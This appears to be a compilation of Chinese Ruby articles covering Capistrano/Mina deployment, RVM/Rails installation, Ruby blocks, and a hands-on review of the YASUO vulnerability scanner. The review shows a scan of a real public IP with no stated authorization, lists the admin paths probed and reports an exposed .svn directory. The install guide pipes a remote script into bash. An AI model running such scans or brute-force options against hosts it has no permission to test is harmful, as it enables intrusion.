问：你的业余时间有多少是用来学习Ruby和编程的？


我这个人比较宅，可能一个月或者两个月才会出去玩一次，剩下的时间基本上都宅在家里看书。自己喜欢的事，做起来不感觉辛苦。


问：你觉得程序员是吃青春饭的吗？


我不这么认为。从我想学Ruby到最后成为Ruby程序员，已经是过了30岁才开始行动的。


年轻的时候，刚毕业的那两年可能是拼身体、拼加班。因为自己资历不够，经验也很浅，所以通过加班和熬夜来长知识、长资本。随着年纪越来越大，你经历得越多，你的经验也会越多，你能看到的就更远。比如同样是实现一项功能，刚毕业的人可能只是单纯地把这项功能做出来，可能做得会很快。但是当你站得更高时，想的就会更多：我怎样做才能让用户使用得更方便、更人性化，我在实现这个功能的时候，怎样能把代码写得更巧妙，扩展性更好。我觉得对于程序员来说年纪越大经历越多，反而是一件好事。


问：对于其他想要学习编程或者学习Ruby的女生你有什么建议吗？


一定要亲自动手实做，最好是亲身参与真实项目；花钱参加专业的培训。大道至简，每天坚持。




更多精彩，加入图灵访谈微信！
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最近折腾了一下 Capistrano 和 Mina 两个自动化部署工具, 总结一些个人的观点和经验.



Capistrano

Capistrano(下文简称 Cap) 特别适合于 Rails 应用的自动化部署, 特别是 Cap3, 整合了很多与 Rails 相关自动部署的命令(可用 cap -T 查看).



0\. 服务器目录结构

首先来看看经过多次部署后, 服务器会生成一个这样的目录结构

├── current -> /var/www/your_app/releases/20141201042659
├── releases
│   ├── 20141201032351
│   ├── 20141201042256
│   ├── 20141201042659
├── repo
│   ├── branches
│   ├── hooks
│   ├── info
│   ├── objects
│   └── refs
└── shared
    ├── bin
    ├── bundle
    ├── config
    ├── log
    ├── public
    ├── tmp
    └── vendor


	current 是指当前版本, link 到 release 下的指定版本目录(默认为最新的 releases)


	releases 每次部署都会产成一个目录存放项目源码, 目录个数由 :keep_releases 变量来控制


	repo 项目的 .git 目录


	shared 是项目中共享的内容, 不会随部署而改变






1\. 安装 Cap

# Gemfile
gem 'capistrano', '~> 3.2.0'
gem 'capistrano-rails', '~> 1.1.0'
gem 'capistrano-bundler', '~> 1.1.0'
gem 'capistrano-rvm', '~> 0.1.0'
gem 'capistrano3-unicorn', '~> 0.2.0'
# Add this if you're using rbenv

`

2\. Cap install 生成相关部署文件

$ bundle install 之后执行 $ bundle exec cap install, 会自动生成以下几个文件

├── Capfile                   # Cap 配置文件
├── config
│   ├── deploy
│   │   ├── production.rb     # 不同环境的部署配置
│   │   └── staging.rb
│   └── deploy.rb             # 公共变量
└── lib
    └── capistrano
            └── tasks         # 一些自定义的 task



3\. Capfile 文件

Cap 的配置文件, 可按需求加载一些插件

require 'capistrano/setup'               # 加载 Cap 的 DSL
require 'capistrano/deploy'              # 加载 Cap 的 Workflow
require 'capistrano/rvm'                 # 加载 RVM 相关配置
# require 'capistrano/rbenv'             # 加载 Rbenv 相关配置
require 'capistrano/bundler'             # 加载 Bundle, 以便完成 bundle install
require 'capistrano/rails/assets'        # 加载 Rails 的 js, css 文件预编译
require 'capistrano/rails/migrations'    # 加载 Rails 的数据库自动迁移
require 'capistrano3/unicorn'            # 加载 Unicorn 服务

Dir.glob('lib/capistrano/tasks/*.rake').each { |r| import r }

其中, require 'capistrano3/unicorn' 后, 会增加几个 Unicorn 的部署命令, 可在本地远程运行命令直接控制服务器 Unicorn 的服务

cap unicorn:add_worker               # 增加一个 Unicorn Worker
cap unicorn:duplicate                # Restart
cap unicorn:legacy_restart           # 传统方式 Restart, 使用 USR2 + QUIT
cap unicorn:reload                   # Reload
cap unicorn:remove_worker            # 减少一个 Unicorn Worker
cap unicorn:restart                  # 无缝 Restart, 使用 USR2
cap unicorn:start                    # 启动 Unicorn
cap unicorn:stop                     # 关闭 Unicorn (QUIT)




4\. config/deploy.rb 文件

用来配置不同环境的一些公共变量

# config valid only for Capistrano 3.1
lock '3.2.1'

set :application, 'your app name'     # 设置部署项目的名字
set :repo_url, 'git@xxx.git'          # 设置项目的 git repo
set :deploy_to, "/var/www/xxx"        # 设置部署目录
set :deploy_user, 'deploy'            # 设置部署时的用户

set :scm, :git
set :format, :pretty
set :pty, true

# linked_dirs
# 是将项目的指定目录 link 到 shared 目录中, 这个操作会在从 repo 取下代码之后进行.
# 比如 log 目录, 每次部署完毕后新的版本中的 log 目录都会 link 到 shared/log 下
set :linked_dirs, %w{bin log tmp/pids tmp/cache tmp/sockets vendor/bundle public/system}

# linked_files
# 它是将 shared 目录中的文件 link 到项目中, 文件要首先存在于 shared 目录中, 不然 deploy 时会报错
# 在 Rails 项目中, 主要就是 database.yml, secret.yml 这样的敏感文件
set :linked_files, %w{config/database.yml}

# rvm_type
# :auto (default): just tries to find the correct path. ~/.rvm wins over /usr/local/rvm
# :system: defines the RVM path to /usr/local/rvm
# :user: defines the RVM path to ~/.rvm
set :rvm_type, :system
set :rvm_ruby_version, '2.1.2'
set :rvm_roles, [:app, :web, :db]

set :keep_releases, 10   # 最多存放十个部署版本

namespace :deploy do

  # 自定义了一个部署任务, 即自动运行 rake RAILS_ENV=rails_env db:create
  # 其中 release_path 指的是当前 release 目录
  # `fetch(:rails_env)` 读取配置中的 rails_env 变量, 并在 rake 命令中带上 env 变量
  task :create_database do
    on roles(:db) do
      within release_path do
        with rails_env: fetch(:rails_env) do
          execute :rake, 'db:create'
        end
      end
    end
  end

  before :migrate, :create_database     # 在每次 rake db:migrate 前都运行 rake db:create
  after  :finishing, 'deploy:cleanup'   # 在每次部署完毕后, 清理部署时生成的 tmp 文件及多余的版本
end

这里有几个细节需要特别注意:


	deploy_user 一定需要有 /var/www/[deploy_to] 的权限, 在自动化部署中, 部署者的权限是个很重要的因素!


	deploy_user 建议使用 id_rsa.pub authorized_keys 的方式进行免密码登陆, 这也是 cap3 中推荐的方法


	首次部署, 需要执行 cap [environment] deploy:check 命令, 把 linked_files 在服务器上创建!


	首次部署, 如果用 Mysql 的话, 服务器上是没有 database 的, 需要自己手动 rake db:create, 这里我写了个 create_database 的 task 来执行 rake db:create


	rvm 与 rbenv 的安装路径一定要确认, 是在 root 下安装的还是在 deploy_user 下安装的, 这里强烈建议用 deploy_user 安装 rvm/rbenv, 并且把 /var/www 文件夹的权限赋予 deploy_user, 这样会少走很多弯路






5\. config/deploy/production.rb | staging.rb

Cap 中的运行环境(又称 Stage ), 默认建立了2个 Stage, 不同的 Stage 可以定义一些专有的变量, 并可以重写 deploy.rb 中定义的公共变量, 相当于不同环境下对应不同的服务器.

# Production Stage
set :stage, :production       # 设置 stage
set :branch, 'master'         # 设置 git branch
set :rails_env, :production   # 设置 rails_env

# 以下几个 server 会同时部署
server 'xxx.xxx.xxx.xxx', user: 'deploy', roles: %w(web app db), primary: true
server 'xxx.xxx.xxx.xxx', user: 'deploy', roles: %w(web app db)

这里需要说明的是 roles 的定义, 在 Cap 中, 不同的 server 是可以有不同的 role 的, 一些服务器负责 web 服务, 一些服务器负责 db 服务, 从上面的自定义 create_database 命令中, 可以看到, on roles(:db), 说明这条命令只有在指定了 role 为 db 的服务器上运行.

这里讲的是多台服务器同时部署, 那么如何实现多台服务器依次部署呢? 只要再写一个 Stage, 运行指定的 stage 就可以了



6\. Cap Flow

部署的时候执行命令, cap [environment] deploy, Cap 会自动执行一系列 Task, 这些 Task 被称为 Cap Flow, 每个 Task 都可以通过 before 和 after 来添加自定义的 Task.

deploy
  deploy:starting
    [before]
      deploy:ensure_stage
      deploy:set_shared_assets
    deploy:check                  # 检查 ssh, rvm/rbenv, linked_dirs, linked_files, git
  deploy:started
  deploy:updating
    git:create_release
    deploy:symlink:shared
  deploy:updated
    [before]
      deploy:bundle               # 重新 bundle install
    [after]
      deploy:migrate              # rake db:migrate
      deploy:compile_assets
      deploy:normalize_assets
  deploy:publishing
    deploy:symlink:release
    deploy:restart                # restart, 可自定义一些需要 restart 的服务
  deploy:published
  deploy:finishing
    deploy:cleanup
  deploy:finished
    deploy:log_revision

7\. Cap stage deploy

最后 show 一张运行 cap [environment] deploy 命令部署成功后的图片





Mina



Mina 相对于 Cap 来说, 较为简洁, 只有基本的几个 Task(可用 mina -T 查看), 有点 Sinatra VS Rails 的感觉, 其服务器部署结构与 Cap 类似.



1\. 安装 Mina

# Gemfile
gem 'mina', '~> 0.3'

2\. Mina init

$ bundle install 之后执行 $ mina init, 会生成 config/deploy.rb 文件, 定义了一系列的变量和 Task.

require 'mina/bundler'
require 'mina/rails'
require 'mina/git'
# require 'mina/rbenv'  # for rbenv support. (http://rbenv.org)
# require 'mina/rvm'    # for rvm support. (http://rvm.io)

# Basic settings:
#   domain       - The hostname to SSH to.
#   deploy_to    - Path to deploy into.
#   repository   - Git repo to clone from. (needed by mina/git)
#   branch       - Branch name to deploy. (needed by mina/git)

set :domain, 'foobar.com'
set :deploy_to, '/var/www/foobar.com'
set :repository, 'git://...'
set :branch, 'master'

# Manually create these paths in shared/ (eg: shared/config/database.yml) in your server.
# They will be linked in the 'deploy:link_shared_paths' step.
set :shared_paths, ['config/database.yml', 'log']

# Optional settings:
#   set :user, 'foobar'    # Username in the server to SSH to.
#   set :port, '30000'     # SSH port number.

# This task is the environment that is loaded for most commands, such as
# `mina deploy` or `mina rake`.
task :environment do
  # If you're using rbenv, use this to load the rbenv environment.
  # Be sure to commit your .rbenv-version to your repository.
  # invoke :'rbenv:load'

  # For those using RVM, use this to load an RVM version@gemset.
  # invoke :'rvm:use[ruby-1.9.3-p125@default]'
end

# Put any custom mkdir's in here for when `mina setup` is ran.
# For Rails apps, we'll make some of the shared paths that are shared between
# all releases.
task :setup => :environment do
  queue! %[mkdir -p "#{deploy_to}/shared/log"]
  queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/log"]

  queue! %[mkdir -p "#{deploy_to}/shared/config"]
  queue! %[chmod g+rx,u+rwx "#{deploy_to}/shared/config"]

  queue! %[touch "#{deploy_to}/shared/config/database.yml"]
  queue  %[echo "-----> Be sure to edit 'shared/config/database.yml'."]
end

desc "Deploys the current version to the server."
task :deploy => :environment do
  deploy do
    # Put things that will set up an empty directory into a fully set-up
    # instance of your project.
    invoke :'git:clone'
    invoke :'deploy:link_shared_paths'
    invoke :'bundle:install'
    invoke :'rails:db_migrate'
    invoke :'rails:assets_precompile'

    to :launch do
      queue "touch #{deploy_to}/tmp/restart.txt"
    end
  end
end

# For help in making your deploy script, see the Mina documentation:
#
#  - http://nadarei.co/mina
#  - http://nadarei.co/mina/tasks
#  - http://nadarei.co/mina/settings
#  - http://nadarei.co/mina/helpers

3\. Mina setup

部署的前执行命令, mina setup, 创建 shared 文件夹, 在编辑需要 shared 的文件后, 再执行 mina deploy 就可以部署了, 非常的简洁.
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很久没鼓捣rails了，之前虽然看过一段时间，但长时间不用慢慢地就忘记了，现在想尝试用rails做一些web开发方面的工作，因此，又重新搭建起开发环境，虽然有很多成熟的教程，但实际搭建起来还不是那么顺利的，这里把整个搭建过程记录下来以备后用。


注：本文基于ubuntu 14


安装RVM


RVM（ruby version manager）是ruby的版本管理工具，它可以方便的管理系统中安装的多个ruby版本，我们也主要用它来安装ruby，rvm的安装：


$ curl -sSL https://get.rvm.io | bash -s stable



安装完成后我们需要载入RVM环境，使其立即生效或者重启命令行窗口


$ source ~/.rvm/scripts/rvm



检查一下是否安装正确


$ rvm -v
>rvm 1.22.17 (stable) by Wayne E. Seguin <wayneeseguin@gmail.com>, Michal Papis 
<mpapis@gmail.com> [https://rvm.io/]



安装ruby


使用rvm安装ruby之前，此处可以使用原生的源，但下载比较慢，可以切换到淘宝提供的镜像源，切换方式：


$ sed -i 's!cache.ruby-lang.org/pub/ruby!ruby.taobao.org/mirrors/ruby!' $rvm_path/config/db



安装ruby


$ rvm install 2.2.0



安装完成后，在命令行检查下是否正确安装：


$ ruby -v
>ruby 2.2.0p0 (2014-12-25 revision 49005) [x86_64-linux]



我们可以使用rvm将当前版本指定为我们默认使用的ruby版本，当然如果系统只有一个版本可以忽略该步骤：


$rvm use 2.2.0 --default



注意此处如果关闭终端命令行工具，重新打开输入ruby -v会发现提示你使用apt-get安装ruby，而实际上刚才我们已经成功安装了，我们再执行rvm use命令发现以下提示：


 RVM is not a function, selecting rubies with 'rvm use ...' will not work.  
 You need to change your terminal emulator preferences to allow login shell.
 Sometimes it is required to use `/bin/bash --login` as the command.



根据提示信息不难看出原因了执行终端命令时需要我们更新登录信息，我们可以按照提示直接在命令行输入以下命令：


$ /bin/bash --login



也可以直接在命令行窗口选择“编辑”->“配置文件”->“编辑”->“标题和命令行”，勾选“执行命令是更新登录记录”，这样每次打开终端就不会出现上面的问题了。


安装Rails


在安装ruby时已经安装了ruby自己的库管理工具gem，我们可以通过gem直接安装rails，先验证下gem是否正确安装：


$ gem -v
2.4.8



然后，在安装rails之前我们需要切换下镜像源，原有的镜像源屏蔽的很厉害，有时候直接安装失败，我们切换到淘宝提供的镜像源：


$ gem sources --remove https://rubygems.org/
$ gem sources -a https://ruby.taobao.org/
$ gem sources -l
*** CURRENT SOURCES ***

https://ruby.taobao.org
# 请确保只有 ruby.taobao.org



虽然迁移到淘宝镜像源但在实际安装中也不是很顺利，淘宝的镜像服务器迁移到阿里云上了，因此会将请求做重定向，安装过程比较慢，不知道是因为个人网络原因还是镜像源不稳定导致，一直卡在某个流程不动了，前后尝试了五六次总算安装成功了，在执行安装过程中，由于时间比较长可以增加参数-V实时跟踪下安装状态


$ gem install rails -V



然后测试安装是否正确


$ rails -v
Rails 4.2.2



至此，rails已经安装成功了，过程还算是比较顺利，比在windows下安装顺利多了，在windows下安装的过程着实很痛苦，经常缺少依赖。

我们可以用$ rails new demo创建一个web应用程序了，创建成功后切换到该目录下，执行$ rails server，此时可能会遇到提示一些依赖不存在的问题，原因是我们web工程下的Gemfile指定的sources源还是rubygems.org，可能会导致一些依赖下载不下来，此时，我们可以将Gemfile的sources改为淘宝提供的镜像，执行bundle install可以看到依赖的组件都安装成功了。

再次运行$ rails server，如果仍然不幸报错Could not find a JavaScript runtime. See https://github.com/rails/execjs for那么需要我们手动安装三个依赖组件了：


gem install execjs
gem install therubyracer
sudo apt-get install nodejs



至此，一般就能启动成功了！


 理解 Ruby 里的 block

作者：xavier

来源： 理解 Ruby 里的 block



                    
Ruby 里的 block一般翻译成代码块，block 刚开始看上去有点奇怪，因为很多语言里面没有这样的东西。事实上它还不错。

First-class function and Higher-order function

First-class function 和 Higher-order function 是函数式编程语言里面的概念，听起来好像很高端的样子，其实很很简单的。

First-class functions 是指在某些语言里，函数是一等公民，可以把函数当做参数传递，
可以返回一个函数，可以把函数赋值个一个变量等等，反正就是正常值能做的事函数都能做。JavaScript 就是这样的。举个例子(下面的所有例子里，当我提到
JavaScript 时，示例代码都用的 CoffeeScript)：

greet = (name) ->
  return -> console.log "Hello, #{name}"

greetToMike = greet("Mike")
greetToMike() # => 输出 "Hello, Mike"
a = greetToMike
a() # => 输出 "Hello, Mike"

在上面的第四行里，greet("Mike") 返回了一个函数，所以第五行里才可以调用 greetToMike()输出"Hello, Mike"。第六行把一个函数赋值给了a，所以第七行就可以调用这个函数了。

higher-order function 一般翻译成高阶函数，是指接受函数做参数或者返回函数的函数。
举个非常常用的例子（用 JavaScript）：

a = [ "a", "b", "c", "d" ]
a.map((x) -> x + '!') #=> ["a!", "b!", "c!", "d!"]

上面例子里 map 就接受了一个匿名函数作为参数。Array.prototype里的很多方法，比如reduce, filter,every, some 等等都是高阶函数，因为他们都接受函数作为参数。

高阶函数非常强大，表达力很强，可以避免大量重复代码。总的来说，它就是个好东西。

Block 的本质

先来看一组 Ruby 和 CoffeeScript 代码的对比。

a = [ "a", "b", "c", "d" ]
a.map { |x| x + "!" } # => ["a!", "b!", "c!", "d!"]
a.reduce { |acc, x| acc + x} # => "abcd"

a = [ "a", "b", "c", "d" ]
a.map((x) -> x + '!') # => ["a!", "b!", "c!", "d!"]
a.reduce((acc, x) -> acc + x) # => "abcd"

这两组代码真的看起来超级像。我觉得这也暴露了 Ruby 的 block 的本质：高阶函数的函数参数的变体。

JavaScript 里面的map 函数接受一个函数作为参数，但是 Ruby 里的 map 却接受一个
block 作为参数。

其实 matz 早在一本书里《松本行弘的程序世界》里说了：

最终来看，块到底是什么？
...
块也可以看作只是高阶函数的一种特殊形式的语法。
...
高阶函数和块的本质一样
...



在 Ruby 里，函数不是一等公民，没有 first-class functions。但是在 Ruby
里怎样使用高阶函数呢？答案就是使用 block。可以直接用 block，也可以用 lambda
或者 proc 把 block 转换成 Proc 类的实例用。

我发现在 Ruby 里使用 block 时，几乎所有的情况下都可以用 JavaScript
的高阶函数替代。

Enumerable 模块里的所有方法都是典型的例子。事实上确实存在 JavaScript 版
的 Enumerable，比如 Prototype.js 就有个 Enumerable，用起来跟 Ruby版的几乎一样的。当然它是通过高阶函数实现的。

与高阶函数有何不同

除了语法上看上去有点不同外，有非常重要的两点。

控制流操作

在 block 里面可以用 break, next 等等这些在一般的循环里才有的控制流操作，这些
在高阶函数里是用不了的。比如你可以试试在 JavaScript 里用 forEach 而不用循环
实现个take_while 函数，真是相当别扭的。比如之前 cnode 上就有人发帖问：nodejs的forEach不支持break吗?，其实这个帖子下面回复用 return 的基本上都是错的，                              
some 和 every 这样利用 短路求值    的特点确实可以 hack 一下，但是明显不自然而且大大增加了别人理解代码的难度。                                  

从这一点来看 block 确实还不错的。

只有一个函数参数的高阶函数

Ruby 里一个方法只能接受一个 block 作为参数，大概就是类似于只有一个函数参数的高阶
函数。看起来好像是受到限制了。其实那本《松本行弘的程序世界》对此也有点解释。
大概是说了一个调查，在倾向于使用高阶函数的 OCaml 的标准库中，94%
的高阶函数只有一个函数参数。所以说这点限制不是什么问题。就我自己的体验来说，在 JavaScript 里，还从没用到需要两个函数参数的高阶函数。

未说明的

嗯，这篇文章看起来有点太长了，所以我不打算写下去了。其实还有一些重要的地方没说。比如
Block 其实可以作为闭包用的。Ruby 里用def定义方法时有点悲剧的，因为它不是闭包，接触
不到它外面的变量。

name = "mike"
def greet
  puts "hello, #{name}"
end
hello # => in `greet': undefined local variable or method `name' for main:Object (NameError)

但是用 block 就可以了

name = "mike"
define_method(:greet) do
  puts "hello, #{name}"
end
greet # => "hello, mike"

用 JavaScript 就根本不存在问题。

name = "mike"
greet = -> console.log "hello, #{name}"
greet() # => "hello, mike"

同理还有class 和 module 关键字都会创建新的作用域而在里面接触不到外面的变量，
也可以用 block 解决。

还有那个 proc 和 lambda 的区别。其实我一直不理解为什么会有人不用lambda
而跑去用 proc，明显 proc 的 return 行为太不符合常识了。但是到头来却发现
block 的行为跟 proc 创建的对象的行为是一样的，比如

def hello
  (1..10).each { |e| return e}
  return "hello"
end
hello # => 1

这感觉真是有点悲催。

结语

说了这么多，就是因为在 Ruby 里面函数不是一等公民，又想获得函数式编程的便利。

所以如果你觉得 Ruby 太复杂了，赶紧去学 Elixir，简单优雅！


  一个思路很不错的第三方应用漏洞扫描工具 YASUO

作者：西二旗剑客

来源：  一个思路很不错的第三方应用漏洞扫描工具 YASUO



                    



在github上看到一个不错的第三方应用程序漏洞扫描工具YASUO，所以拿来体验一把看看。工具是阉割版，但是可以看出来思路很赞！


安装


bash[root@localhost software]# git clone https://github.com/SecurityCompass/yasuo.git



因为是ruby开发的，然后我们需要安装一些依赖


bashgem install ruby-nmap
gem install net-http-persistent
gem install mechanize
gem install colorize
gem install text-table



安装好了以后运行一下看看：


bash[root@localhost yasuo]# ./yasuo.rb 
/usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require': cannot load such file -- json/pure (LoadError)
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/share/gems/gems/json-1.7.7/lib/json.rb:60:in `rescue in <module:JSON>'
    from /usr/share/gems/gems/json-1.7.7/lib/json.rb:57:in `<module:JSON>'
    from /usr/share/gems/gems/json-1.7.7/lib/json.rb:54:in `<top (required)>'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:128:in `require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:128:in `rescue in require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:39:in `require'
    from /usr/local/share/gems/gems/mime-types-2.5/lib/mime/type.rb:4:in `<top (required)>'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/local/share/gems/gems/mime-types-2.5/lib/mime/types.rb:3:in `<top (required)>'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/local/share/gems/gems/mechanize-2.7.3/lib/mechanize.rb:4:in `<top (required)>'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:128:in `require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:128:in `rescue in require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:39:in `require'
    from /home/goderci/software/yasuo/resp200.rb:2:in `<top (required)>'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from /usr/local/share/ruby/site_ruby/rubygems/core_ext/kernel_require.rb:54:in `require'
    from ./yasuo.rb:34:in `<main>'



报了一个错，需要再安装一个依赖：


sh[root@localhost yasuo]# gem install json_pure
Fetching: json_pure-1.8.2.gem (100%)
Successfully installed json_pure-1.8.2
Parsing documentation for json_pure-1.8.2
Installing ri documentation for json_pure-1.8.2
1 gem installed



然后就好了：


sh[root@localhost yasuo]# ruby yasuo.rb -h

#########################################################################################
oooooo   oooo       .o.        .oooooo..o ooooo     ooo   .oooooo.
   `888.   .8'       .888.      d8P'    `Y8 `888'     `8'  d8P'  `Y8b
    `888. .8'       .88888.     Y88bo.       888       8  888      888
     `888.8'       .8' `888.     `ZY8888o.   888       8  888      888
      `888'       .88ooo8888.        `0Y88b  888       8  888      888
       888       .8'     `888.  oo     .d8P  `88.    .8'  `88b    d88'
      o888o     o88o     o8888o 88888888P'     `YbodP'     `Y8bood8P'
Welcome to Yasuo v0.1
Author: Saurabh Harit (@0xsauby) | Contribution & Coolness: Stephen Hall (@_stephen_h)
#########################################################################################

Yasuo 0.1
    -s, --path-signatures            CSV file of vulnerable app signatures
    -f, --file [FILE]                Nmap output in xml format
    -r, --range [RANGE]              IP Range to Scan
    -n, --noping                     Run the full TCP scan with no ping
    -p, --port [PORT NUMBER]         Ports to Scan
    -A, --all_ports                  Scan on all 65535 ports
    -b, --brute [all/form/basic]     Bruteforce
    -h, -?, --help, --?              Get Help
    -v, --version                    Get Version




开扫试一试


[root@localhost yasuo]# ./yasuo.rb -r 120.132.58.24
#########################################################################################
oooooo   oooo       .o.        .oooooo..o ooooo     ooo   .oooooo.
   `888.   .8'       .888.      d8P'    `Y8 `888'     `8'  d8P'  `Y8b
    `888. .8'       .88888.     Y88bo.       888       8  888      888
     `888.8'       .8' `888.     `ZY8888o.   888       8  888      888
      `888'       .88ooo8888.        `0Y88b  888       8  888      888
       888       .8'     `888.  oo     .d8P  `88.    .8'  `88b    d88'
      o888o     o88o     o8888o 88888888P'     `YbodP'     `Y8bood8P'
Welcome to Yasuo v0.1
Author: Saurabh Harit (@0xsauby) | Contribution & Coolness: Stephen Hall (@_stephen_h)
#########################################################################################

Initiating port scan
----------------------
Using nmap scan output file nmap_output_20150519143403UTC.xml

<<<Testing host - 120.132.58.24>>>
Discovered open port: 120.132.58.24:80

<<<Enumerating vulnerable applications>>>
-------------------------------------------
Testing ----> http://120.132.58.24:80/jmx-console
Testing ----> http://120.132.58.24:80/manager/html
Testing ----> http://120.132.58.24:80/manager
Testing ----> http://120.132.58.24:80/testlink-1.9.3/login.php
Testing ----> http://120.132.58.24:80/testlink/login.php
Testing ----> http://120.132.58.24:80/jenkins/
Testing ----> http://120.132.58.24:80/script/
Testing ----> http://120.132.58.24:80/axis2/axis2-admin
Testing ----> http://120.132.58.24:80/cms400min/
Testing ----> http://120.132.58.24:80/imc
Testing ----> http://120.132.58.24:80/umbraco/
Testing ----> http://120.132.58.24:80/vfolder.ghp
Testing ----> http://120.132.58.24:80/ctc/servlet
Testing ----> http://120.132.58.24:80/SiteScope/
Testing ----> http://120.132.58.24:80/ws/control
Testing ----> http://120.132.58.24:80/autopass
Testing ----> http://120.132.58.24:80/php/test.php
Testing ----> http://120.132.58.24:80/d4d/statusFilter.php
Testing ----> http://120.132.58.24:80/jos.php
Testing ----> http://120.132.58.24:80/moodle/
Testing ----> http://120.132.58.24:80/Auxiliumpetratepro/
Testing ----> http://120.132.58.24:80/IDC.php
Testing ----> http://120.132.58.24:80/sflog/
Testing ----> http://120.132.58.24:80/struts2-blank/example/HelloWorld.action
Testing ----> http://120.132.58.24:80/mobilecartly/
Testing ----> http://120.132.58.24:80/mediawiki/index.php?title=Special:UserLogin&returnto=Main_Page
Testing ----> http://120.132.58.24:80/qdPM/
Testing ----> http://120.132.58.24:80/www/
Testing ----> http://120.132.58.24:80/gestioip/
Testing ----> http://120.132.58.24:80/polarbearcms
Testing ----> http://120.132.58.24:80/SiteScope/
Testing ----> http://120.132.58.24:80/invoker/JMXInvokerServlet
Testing ----> http://120.132.58.24:80/blank-struts2/login.action
Testing ----> http://120.132.58.24:80/log1cms2.0/
Testing ----> http://120.132.58.24:80/wikka/
Testing ----> http://120.132.58.24:80/cuteflow_v.2.11.2/
Testing ----> http://120.132.58.24:80/roller
Testing ----> http://120.132.58.24:80/jenkins/
Testing ----> http://120.132.58.24:80/SiteScope/
Testing ----> http://120.132.58.24:80/phptax/
Testing ----> http://120.132.58.24:80/AjaXplorer-2.5.5/plugins/access.ssh/checkInstall.php
Testing ----> http://120.132.58.24:80/phpmyadmin/
Testing ----> http://120.132.58.24:80/vtigercrm/
Testing ----> http://120.132.58.24:80/com_extplorer_2.1.0/
Testing ----> http://120.132.58.24:80/vtigercrm/
Testing ----> http://120.132.58.24:80/openx/
Testing ----> http://120.132.58.24:80/glossword/1.8/
Testing ----> http://120.132.58.24:80/glpi/
Testing ----> http://120.132.58.24:80/kordil_edms/
Testing ----> http://120.132.58.24:80/mt
Testing ----> http://120.132.58.24:80/zabbix/
Testing ----> http://120.132.58.24:80/bf102/
Testing ----> http://120.132.58.24:80/struts2-blank/example/HelloWorld.action
Testing ----> http://120.132.58.24:80/appRain-q-0.1.5
Testing ----> http://120.132.58.24:80/interface/
Testing ----> http://120.132.58.24:80/tiki/
Testing ----> http://120.132.58.24:80/forums/
Testing ----> http://120.132.58.24:80/wordpress
Testing ----> http://120.132.58.24:80/zimbraAdmin
Testing ----> http://120.132.58.24:80/nagios3/cgi-bin/history.cgi
Testing ----> http://120.132.58.24:80/php-charts_v1.0/
Testing ----> http://120.132.58.24:80/php-ofc-library/
Testing ----> http://120.132.58.24:80/librettoCMS_v.2.2.2/
Testing ----> http://120.132.58.24:80/horde/
Testing ----> http://120.132.58.24:80/wordpress
Testing ----> http://120.132.58.24:80/xoda/
Testing ----> http://120.132.58.24:80/zm/
Testing ----> http://120.132.58.24:80/seportal
Testing ----> http://120.132.58.24:80/webtester5/
Testing ----> http://120.132.58.24:80/hastymail2/
Testing ----> http://120.132.58.24:80/joomla
Testing ----> http://120.132.58.24:80/kimai/
Testing ----> http://120.132.58.24:80/chat/
Testing ----> http://120.132.58.24:80/simple_e_document_v_1_31/
Testing ----> http://120.132.58.24:80/sample
Testing ----> http://120.132.58.24:80/openemr
Testing ----> http://120.132.58.24:80/openemr
Testing ----> http://120.132.58.24:80/basilic-1.5.14/
Testing ----> http://120.132.58.24:80/narcissus-master/
Testing ----> http://120.132.58.24:80/pp088/
Testing ----> http://120.132.58.24:80/opensis/
Testing ----> http://120.132.58.24:80/vcms/
Testing ----> http://120.132.58.24:80/zabbix
Testing ----> http://120.132.58.24:80/WebCalendar-1.2.4/
Testing ----> http://120.132.58.24:80/spywall/pbcontrol.php
Testing ----> http://120.132.58.24:80/WeBid
Testing ----> http://120.132.58.24:80/dolibarr/
Testing ----> http://120.132.58.24:80/ctc/servlet
Testing ----> http://120.132.58.24:80/users/password
Testing ----> http://120.132.58.24:80/apply.cgi
Testing ----> http://120.132.58.24:80/seam-booking/home.seam
Testing ----> http://120.132.58.24:80/cgi-bin/admin.cgi
Testing ----> http://120.132.58.24:80/openbravo/
Testing ----> http://120.132.58.24:80/BEMS
Testing ----> http://120.132.58.24:80/CimWeb
Testing ----> http://120.132.58.24:80/PI/services/UCP/
Testing ----> http://120.132.58.24:80/_all_dbs
Testing ----> http://120.132.58.24:80/sap/bc/soap/rfc
Testing ----> http://120.132.58.24:80/admin/index.jsp
Testing ----> http://120.132.58.24:80/.svn/
Yasuo found - http://120.132.58.24:80/.svn/. No authentication required


--------------------------------------------------------
<<<Yasuo discovered following vulnerable applications>>>
--------------------------------------------------------
+-------------------------------+----------------------------------------------+----------+----------+
|      URL to Application       |              Potential Exploit               | Username | Password |
+-------------------------------+----------------------------------------------+----------+----------+
| http://120.132.58.24:80/.svn/ | ./auxiliary/scanner/http/svn_wcdb_scanner.rb | None     | None     |
+-------------------------------+----------------------------------------------+----------+----------+
[root@localhost yasuo]# 



不过exp貌似作者没有放出来。应该是一个阉割版。哎，只能等作者放exp出来了。


小结


整体来说思路是不错的，如果exp放出来会比较完美；其实输入就是一个ip，然后先进行端口扫描，再根据web端口扫描应用，再根据应用扫描应用漏洞，甚至暴力破解，思路是很不错的。有点可惜，后面对这个工具保持持续关注。





  原文地址：http://www.codefrom.com/paper/%E4%B8%80%E4%B8%AA%E6%80%9D%E8%B7%AF%E5%...




 使用 Nginx 优化面向侧面的架构

作者：丁文森

来源： 使用 Nginx 优化面向侧面的架构



                    
